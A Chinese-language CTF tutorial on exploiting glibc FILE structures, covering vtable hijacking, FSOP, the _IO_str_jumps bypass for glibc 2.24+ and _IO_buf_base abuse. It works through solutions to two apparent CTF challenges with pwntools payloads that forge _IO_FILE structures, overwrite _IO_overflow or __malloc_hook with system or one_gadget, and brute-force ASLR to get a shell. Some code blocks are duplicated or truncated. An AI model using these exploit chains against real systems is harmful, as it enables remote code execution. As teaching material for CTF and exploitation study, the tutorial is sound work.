由于stdio函数会调用vtable中的指针进行相应的操作。伪造vtable劫持程序流程的中心思想就是针对_IO_FILE_plus的vtable动手脚,通过把vtable指向我们控制的内存,并在其中布置函数指针来实现。分为两种:
- 一种是直接覆盖vtable中的某个函数指针,在目前libc2.23版本下,位于libc数据段的vtable是不可以进行写入的,因此此方法已不可行。stdin/stdout/stderr的vtable指针可写,但原vtable的各项不可被改写。
pwndbg> print &_IO_2_1_stdin_ $1 = (struct IO_FILE_plus *) 0x7ffff7dd18e0 <_IO_2_1_stdin_> #可写 pwndbg> x/gx 0x7ffff7dd18e0 + 0xd8 0x7ffff7dd19b8 <_IO_2_1_stdin_+216>: 0x00007ffff7dd06e0 #不可写 0x7ffff7bcd000 0x7ffff7dcd000 ---p 200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7dcd000 0x7ffff7dd1000 r--p 4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7dd1000 0x7ffff7dd3000 rw-p 2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so
-
另一种是覆盖vtable的指针指向我们控制的内存,然后在其中布置函数指针。
-
首先需要知道
_IO_FILE_plus
位于哪里,对于fopen的情况下是位于堆内存,对于stdin\stdout\stderr
是位于libc.so中。如果程序中不存在fopen等函数创建的_IO_FILE
时,也可以选择位于libc.so中的stdin\stdout\stderr
(一般利用stdout,sample:secretgarden-Pwnable.tw),这三个文件流在程序启动时是自动打开的。在libc2.23,这些vtable是可以执行并且不存在其他检测的。 -
根据vtable在_IO_FILE_plus的偏移得到vtable的地址,在64位系统下偏移是sizeof(FILE)=216=0xd8。
- 根据欲劫持的IO函数会调用vtable中的哪个函数,覆盖或伪造vtable对应项指针,常用:
1
2
3fread: 8 xsgetn, 14 read fwrite/printf/puts: 7 xsputn, 3 overflow, 15 write fclose: 17 close, 2 finish
- 由于vtable这些函数指针第一个参数一般为FILE,因此可以通过覆盖FILE的值为”/bin/sh”或”sh”向劫持函数传参,或者直接覆盖为one_gadget
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22''' 0x7fd5ade42620 <_IO_2_1_stdout_>: 0x00000000fbad2887 0x00007fd5ade426a3 0x7fd5ade42630 <_IO_2_1_stdout_+0x10>: 0x00007fd5ade426a3 0x00007fd5ade426a3 0x7fd5ade42640 <_IO_2_1_stdout_+0x20>: 0x00007fd5ade426a3 0x00007fd5ade426a3 0x7fd5ade42650 <_IO_2_1_stdout_+0x30>: 0x00007fd5ade426a3 0x00007fd5ade426a3 0x7fd5ade42660 <_IO_2_1_stdout_+0x40>: 0x00007fd5ade426a4 0x0000000000000000 0x7fd5ade42670 <_IO_2_1_stdout_+0x50>: 0x0000000000000000 0x0000000000000000 0x7fd5ade42680 <_IO_2_1_stdout_+0x60>: 0x0000000000000000 0x00007fd5ade418e0 0x7fd5ade42690 <_IO_2_1_stdout_+0x70>: 0x0000000000000001 0xffffffffffffffff 0x7fd5ade426a0 <_IO_2_1_stdout_+0x80>: 0x000000000a000000 0x00007fd5ade43780 0x7fd5ade426b0 <_IO_2_1_stdout_+0x90>: 0xffffffffffffffff 0x0000000000000000 0x7fd5ade426c0 <_IO_2_1_stdout_+0xa0>: 0x00007fd5ade417a0 0x0000000000000000 #fake 0x7f size chunk, chunk header at 0x9d 0x7fd5ade426d0 <_IO_2_1_stdout_+0xb0>: 0x0000000000000000 0x0000000000000000 0x7fd5ade426e0 <_IO_2_1_stdout_+0xc0>: 0x00000000ffffffff 0x0000000000000000 0x7fd5ade426f0 <_IO_2_1_stdout_+0xd0>: 0x0000000000000000 0x00007fd5ade406e0 #vtable, fake xsputn(offset=7 in 0xd0, so vatble should be start at 0x98) ''' add(0x60, p64(IO_2_1_stdout + 0x9d)) #5 = 1, set fd = IO_2_1_stdout + 0x9d add(0x60, '6') add(0x60, '7') #7 = 1 pay = '
' * (3 + 0x10) pay += p64(0xffffffff) + p64(0) pay += p64(one_gadget) + p64(IO_2_1_stdout + 0x98) #就地利用stdout里面的_unused2作为vtable,则无需预先布置。修改0xd0处为one_gadget,由于xsputn偏移为7,因此vtable应该从0x98开始''' 0x7fd5ade42620 <_IO_2_1_stdout_>: 0x00000000fbad2887 0x00007fd5ade426a3 0x7fd5ade42630 <_IO_2_1_stdout_+0x10>: 0x00007fd5ade426a3 0x00007fd5ade426a3 0x7fd5ade42640 <_IO_2_1_stdout_+0x20>: 0x00007fd5ade426a3 0x00007fd5ade426a3 0x7fd5ade42650 <_IO_2_1_stdout_+0x30>: 0x00007fd5ade426a3 0x00007fd5ade426a3 0x7fd5ade42660 <_IO_2_1_stdout_+0x40>: 0x00007fd5ade426a4 0x0000000000000000 0x7fd5ade42670 <_IO_2_1_stdout_+0x50>: 0x0000000000000000 0x0000000000000000 0x7fd5ade42680 <_IO_2_1_stdout_+0x60>: 0x0000000000000000 0x00007fd5ade418e0 0x7fd5ade42690 <_IO_2_1_stdout_+0x70>: 0x0000000000000001 0xffffffffffffffff 0x7fd5ade426a0 <_IO_2_1_stdout_+0x80>: 0x000000000a000000 0x00007fd5ade43780 0x7fd5ade426b0 <_IO_2_1_stdout_+0x90>: 0xffffffffffffffff 0x0000000000000000 0x7fd5ade426c0 <_IO_2_1_stdout_+0xa0>: 0x00007fd5ade417a0 0x0000000000000000 #fake 0x7f size chunk, chunk header at 0x9d 0x7fd5ade426d0 <_IO_2_1_stdout_+0xb0>: 0x0000000000000000 0x0000000000000000 0x7fd5ade426e0 <_IO_2_1_stdout_+0xc0>: 0x00000000ffffffff 0x0000000000000000 0x7fd5ade426f0 <_IO_2_1_stdout_+0xd0>: 0x0000000000000000 0x00007fd5ade406e0 #vtable, fake xsputn(offset=7 in 0xd0, so vatble should be start at 0x98) ''' add(0x60, p64(IO_2_1_stdout + 0x9d)) #5 = 1, set fd = IO_2_1_stdout + 0x9d add(0x60, '6') add(0x60, '7') #7 = 1 pay = '\0' * (3 + 0x10) pay += p64(0xffffffff) + p64(0) pay += p64(one_gadget) + p64(IO_2_1_stdout + 0x98) #就地利用stdout里面的_unused2作为vtable,则无需预先布置。修改0xd0处为one_gadget,由于xsputn偏移为7,因此vtable应该从0x98开始
-
FSOP(File Stream Oriented Programming)
进程内所有的_IO_FILE结构会使用_chain域相互连接形成一个链表,这个链表的头部保存在_IO_list_all。FSOP的核心思想是劫持_IO_list_all的值来伪造链表和其中的_IO_FILE项,然后在某些特定情况下:
- 当libc执行abort流程时
- 当执行exit函数时
- 当执行流从main函数返回时
_IO_flush_all_lockp函数会被系统自动调用,这个函数会刷新_IO_list_all链表中所有项的文件流,相当于对每个FILE调用fflush,也对应着会调用_IO_FILE_plus.vtable中的_IO_overflow。
1 |
|
利用方式:
- 泄漏libc基地址,从而获取_IO_list_all地址
- 根据源码中的check,布置fake_FILE使其满足:
1
2
3
4
5
61.fp->_mode <= 0 2.fp->IO_write_ptr > fp->IO_write_base 或 1._IO_vtable_offset (fp) == 0 2.fp->_mode > 0 3.fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
- 用House_Of_Spirit把_IO_list_all的内容改为指向我们可控内存的指针,根据struct _IO_FILE中的字段如下布局:
1
2
3
4
5
6
7
8
9
10
11
12
13#define mode_offset 0xc0 #define writeptr_offset 0x28 #define writebase_offset 0x20 IO_list_all = libc_base + libc.symbols['_IO_list_all'] ptr=malloc(0x200); (long long)((long long)ptr+mode_offset)=0x0; //fp->_mode=0 (long long)((long long)ptr+writeptr_offset)=0x1; //fp->_IO_write_ptr = 1 (long long)((long long)ptr+writebase_offset)=0x0; //fp->_IO_write_base = 0 (long long)((long long)ptr+0xd8)=((long long)ptr+0x100); //vtable=ptr+0x100 (long long)((long long)ptr+0x100+8*3)=system_ptr; //3 overflow,覆盖_IO_overflow为system (long long)IO_list_all=ptr; //覆盖IO_list_all的内容为fake_FILE memcpy(ptr,"sh",3); //通过FILE指针传参 exit(0); //触发IO_flush_all_lockp调用fake_FILE->vtable中的IO_overflow
劫持程序流到vtable之后,由于触发vtable的overflow操作时,传进来的参数:_IO_OVERFLOW (fp, EOF)
,RDI等于伪造的IO_file的chunk头,而RSI等于EOF:
RDI 0x603330
RSI 0xffffffff
pwndbg> x/10gx 0x603330
0x603330: 0x0000000000000000 0x0000000000000061
0x603340: 0x00007ffff7dd1bc8 0x00007ffff7dd1bc8
0x603350: 0x0000000000000000 0x0000000000000001
0x603360: 0x0000000000400b59 0x0000000000000000
glibc2.24及后续版本的IO_FILE利用
glibc2.24下, vtable 必须要满足在stop_libc_IO_vtables
和start_libc_IO_vtables
之间,伪造的vtable不满足这个条件。
1 |
|
借助符合条件的_IO_str_jumps
和_IO_wstr_jumps
这两个结构体
以_IO_str_jumps
为例,布局类似_IO_file_jumps
:
1 |
|
- 一般利用
_IO_str_finsh
1 |
|
其中(_IO_strfile *) fp)->_s=0xD8+0x8=0xE0
,而_free_buffer
相对偏移为0x8,因此,(_IO_strfile *) fp)->_s._free_buffer
相对偏移为0xE0+0x8=0xE8
。
1 |
|
因此比glibc-2.23还需要额外满足的条件是:
1 |
|
用House_Of_Spirit把_IO_list_all的内容改为指向我们可控内存的指针,根据struct _IO_FILE中的字段进行如下布局。(sample:secretgarden-Pwnable.tw)
1 |
|
- 利用
_IO_str_overflow
比glibc-2.23还需要额外满足的条件是:
1 |
|
借助_IO_buf_base
和_IO_buf_end
在_IO_FILE
中_IO_buf_base
(偏移0x38)表示操作的起始地址,_IO_buf_end
(偏移0x40)表示结束地址,通过控制这两个数据可以实现控制任意地址读写的操作。因为进程中包含了系统默认的三个文件流stdin\stdout\stderr
,因此这种方式可以不需要进程中存在文件操作,通过scanf\printf一样可以进行利用。
1 |
|
应用场景:需要写入的目标地址附近有fastchunk size,可以通过house_of_spirit修改IO缓冲区_IO_buf_base
和_IO_buf_end
到0x7ffff7dd2740-0x7ffff7dd27c0
(包含malloc_hook地址),之后再进行的scanf的读入数据就会写入到0x7ffff7dd2740
的位置,进而覆盖malloc_hook:
1 |
|
sample:leak-安恒月赛-2018-10
解法一:House_Of_Orange、Unsorted_Bin_Attack、FSOP
-
将一个足够大的chunk(至少0x10+0x10+0xf0=0x110)放进unsortedbin,如果有free函数,直接free(0x110)即可。否则需要借助House_Of_Orange。
1
2
3
4create(16, 'b'*16 + p64(0) + p64(0xfe1)) #溢出top chunk大小为0xfe1,使得其小于下一个申请的大小,并且0x1000对齐 create(0xfff,'%13$p') #申请大于0xfd0的chunk,使得原来的top chunk被放入unsortedbin show() libc_addr = int(p.recv(12),16)-libc.symbols['__libc_start_main'] - 240 #泄漏libc基址
-
如果有修改功能,可以直接将unsortedbin中的chunk修改。否则,申请一个长度小于unsortedbin中的chunk,切割之后剩余部分会继续放回unsortedbin,通过溢出修改unsortedbin中chunk size为0x61,bk指针为IO_list_all-0x10,然后按照glibc2.24满足的条件将整个chunk修改为IO_FILE_plus_struct。
1
2
3
4
5
6
7
8
9
10
11
12
13pay = 'A'*0x20 context.arch = 'amd64' fake_file = IO_FILE_plus_struct() fake_file._flags = 0 #fp->_flags = 0 fake_file._IO_read_ptr = 0x61 #使这个chunk从unsortedbin取下时放到0x60smallbin中 fake_file._IO_read_base =_IO_list_all-0x10 #bk指针=IO_list_all-0x10,触发unsortedbin_attack fake_file._IO_buf_base = binsh #fp->_IO_buf_base = /bin/sh_addr fake_file._mode = 0 #fp->_mode <= 0 fake_file._IO_write_base = 0 #fp->IO_write_ptr > fp->IO_write_base fake_file._IO_write_ptr = 1 fake_file.vtable = _IO_str_jumps-8 #//这样调用_IO_overflow时会调用到 _IO_str_finish pay+=str(fake_file).ljust(0xe8,'\x00')+p64(system) #fp+0xe8 = system_addr create(0x20,pay)
-
再次申请0x60大小(加上header需要0x70)的chunk,由于unsortedbin中的chunk大小为0x60,比申请的长度小,因此,首先将该chunk从unsortedbin取下,触发Unsorted_Bin_Attack,将IO_list_all-0x10+0x10处修改为unsortedbin的地址;然后将该chunk地址放到0x60的smallbin,由于0x60的smallbin与unsortedbin的地址偏移刚好为0x60,而
_chain
指针位于_IO_list_all
的0x68偏移,伪造的IO_FILE_plus_struct即被认为是_IO_list_all
的下一个FILE指针。(整个攻击的精粹!)0x7f015491fb78: 0x0000563edd1c2010 0x0000563edd1a0040 #unsortedbin 0x7f015491fb88: 0x0000563edd1a0040 0x00007f0154920510 #unsortedbin的bk=_IO_list_all-0x10 0x7f015491fb98: 0x00007f015491fb88 0x00007f015491fb88 0x7f015491fba8: 0x00007f015491fb98 0x00007f015491fb98 0x7f015491fbb8: 0x00007f015491fba8 0x00007f015491fba8 0x7f015491fbc8: 0x00007f015491fbb8 0x00007f015491fbb8 #0x60 smallbin 0x7f015491fbd8: 0x0000563edd1a0040 0x0000563edd1a0040 #0x60 smallbin的fd和bk pwndbg> x/10gx 0x00007f0154920510 0x7f0154920510: 0x0000000000000000 0x0000000000000000 0x7f0154920520: 0x00007f015491fb78 0x0000000000000000 #_IO_list_all
-
由于Unsorted_Bin_Attack的缘故,再去遍历伪造的
IO_list_all-0x10
这个chunk时,会触发错误,调用malloc_printerr
函数,再调用了__libc_message
,再调用abort
,调用了fflush
,根据FSOP,fflush
其实就是_IO_flush_all_lockp
中用到了_IO_list_all
,并最终通过vtable调用了_IO_OVERFLOW
。由于伪造的IO_FILE_plus_struct中将_IO_OVERFLOW
覆盖为system
,因此getshell。1
2
3
4
5
6
7
8
9for (;; ) { while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) { bck = victim->bk; if (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0) || __builtin_expect (chunksize_nomask (victim) > av->system_mem, 0)) malloc_printerr ("malloc(): memory corruption");
注意:
- 使0x60进入smallbin,而不是fastbin的方式:
- 在unsortedbin中chunk伪造0x61大小,当申请的chunk比0x61大,从unsortedbin取下就直接放到smallbin
- malloc一个large chunk(大于0x3ff),fastbin会变成smallbin。
- IO_file attack的利用必须要libc的低32位地址为负时,攻击才会成功。原因还是出在fflush函数的检查里,它第二步才是跳转,第一步的检查,在arena里的伪造file结构中这两个值,绝对值一定可以通过,那么就会直接执行虚表函数。所以只有为负(>0x80000000)时,才会check失效。因此:
1 |
|
解法二:House_Of_Orange、House_Of_Spirit修改__malloc_hook
伪造第一个chunk通过House_Of_Orange放进smallbin或者fastbin,伪造第二个0x91的chunk通过House_Of_Orange放进0x70的fastbin,申请第一个chunk的长度,通过堆溢出修改第二个chunk的fd到malloc_hook-0x13,修改其为one_gadget,getshell。
1 |
|
sample:smallorange-安恒月赛-2018-12
解法一:Unsorted_Bin_Attack、FSOP
-
通过格式化字符串漏洞改写read读取字节数,同时泄漏栈地址
-
分配4个chunk,其中chunk1和chunk3防止合并(其实可以只分配3个chunk,0和1合并后再分配会进行切割,效果一样)。在chunk2布置IO_FILE_plus_struct,同时为了减少输入,将vtable也合并一起构造
1
2
3
4
5
6
7fake_file = '' #chunk header: _flags, _IO_read_ptr fake_file += p64(0) * 2 # _IO_read_end, _IO_read_base, heap_base+0x330 fake_file += p64(0) + p64(1) # _IO_write_base, _IO_write_ptr edit_addr = 0x400B59 fake_file += p64(edit_addr) #overflow的虚表项为目标地址,而overflow在虚表的offset为3,因此,虚表开始位置在此位置前0x18,即_IO_read_base(heap_base+0x338)处 fake_file = fake_file.ljust(0xd8 - 0x10, '
') #_mode = 0 fake_file += p64(heap_base+0x338)fake_file = '' #chunk header: _flags, _IO_read_ptr fake_file += p64(0) * 2 # _IO_read_end, _IO_read_base, heap_base+0x330 fake_file += p64(0) + p64(1) # _IO_write_base, _IO_write_ptr edit_addr = 0x400B59 fake_file += p64(edit_addr) #overflow的虚表项为目标地址,而overflow在虚表的offset为3,因此,虚表开始位置在此位置前0x18,即_IO_read_base(heap_base+0x338)处 fake_file = fake_file.ljust(0xd8 - 0x10, '\0') #_mode = 0 fake_file += p64(heap_base+0x338)
-
先后释放chunk0和chunk2,因此unsortedbin为:chunk2->chunk0->unsortedbin。再次申请一个chunk,会分配chunk0,通过堆溢出:由于后面栈溢出时需要用到RDI寄存器,而RDI等于伪造的IO_file的chunk头,因此需要伪造chunk2的头为栈地址;覆盖chunk2的size为0x61,用于构造FSOP;unsortedbin的偏移:
0x3C4B78
,_IO_list_all - 0x10
的偏移:0x3c5510
,因此,当无法泄漏libc基址的前提下,ASLR保证了低12位不变,由于两者之间仅存在4位的差别,将原本保存unsortedbin的chunk的bk修改低16位为x510
,x取0-f,则有1/16的几率碰撞成功。(整个攻击的精粹!碰撞_IO_list_all - 0x10
以及劫持程序流到存在栈溢出的函数,而并非可以直接调用system)1
2
3
4
5
6
7
8
9
10
11
12
13out(p, 0) out(p, 2) pay = '5' * 0x210 ''' stack_v5_plus1= 0x7fffffffdb39 pwndbg> p $rbp $1 = (void *) 0x7fffffffd5f0 ''' pay += p64(stack_v5_plus1 - 0x7fffffffdb39 + 0x7fffffffd5f0) + p64(0x61) #覆盖read输入buff到RBP处,使得后面触发栈溢出,同时覆盖chunk2的size为0x61,用于FSOP pay += p64(0) + '\x10\x25' #modify low 2 byte as x510(x:0-f), turn off aslr, the base is: 0x7ffff7a0d000, so _IO_list_all-0x10 is: 0x7ffff7a0d000 + 0x3c5510 = 7FFFF7DD2510, low 2 byte is: 2510 new(p, pay) #5=0 p.recvuntil('choice: ') p.sendline('1') #再次申请chunk,会有1/16几率触发FSOP,劫持程序流到chunk2之前伪造好的edit_addr = 0x400B59
-
劫持程序流到存在栈溢出的edit函数,由于FSOP时修改RDI,使得输入buff位于RBP处,因此只需要溢出8个字节即可覆盖到返回地址,从而通过csu_init即可泄漏read_got,再修改atoi_got为system,当再次运行atoi时,输入/bin/sh,getshell。(当程序没有使用atoi这些和system同样接受单个参数的函数时,需要先用read在bss上布置system地址和/bin/sh,再通过csu_init执行system)
解法二:Unsorted_Bin_Attack修改global_max_fast、Alloc_to_stack
-
分配5个chunk,chunk0和chunk1用于unsorted_bin_attack修改global_max_fast,同解法一:unsortedbin的偏移:
0x3C4B78
,global_max_fast - 0x10
的偏移:0x3c67e8
,因此,当无法泄漏libc基址的前提下,ASLR保证了低12位不变,由于两者之间仅存在4位的差别,将原本保存unsortedbin的chunk的bk修改低16位为x7e8
,x取0-f,则有1/16的几率碰撞成功。 -
修改global_max_fast后,所有释放chunk会被放入fastbin。chunk2和chunk3用于构造fastbin链,先释放chunk3,再释放chunk2,再申请一个chunk,可重新分配到chunk2,通过堆溢出修改chunk3的fd为栈上伪造的0x111块,再次申请chunk即可Alloc_to_stack。通过覆盖return_addr即可泄漏read_got,再修改atoi_got为system。
1
2
3
4
5
6
7out(p, 3) out(p, 2) #fastbin: 2->3 pay = 'a'*0x100 + p64(0) + p64(0x111) #堆溢出修改chunk3 pay += p64(stack_v5_plus1 - 0x7fffffffdb39 + 0x7fffffffdae0 - 0x8) #fastbin: 2->3->getnum_buff new(p, pay) #7 = 2, overwrite chunk3 new(p, '8') #8 = 3 out(p, p64(0x111)) #栈上没有满足0x111的字段,需要通过getnum函数输入伪造输入缓冲区0x7fffffffdae0为0x0000000000000111,由于atoi(0x7fffffffdae0)=0,因此不会引起程序异常退出!
注意:由于本题限制了read的nbytes,当Alloc_to_stack后,通过read读取,buff+nbytes(0x7fffffffdab8+0x23a0=7FFFFFFFFE58)会超过栈底(0x7ffffffff000),导致无法写入,因此运行时需要增加argv增加栈长度,仅适用于本地攻击。
0x400abb <new+76> call read@plt <0x400770>
fd: 0x0
buf: 0x7fffffffdab8
nbytes: 0x23a0
0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack]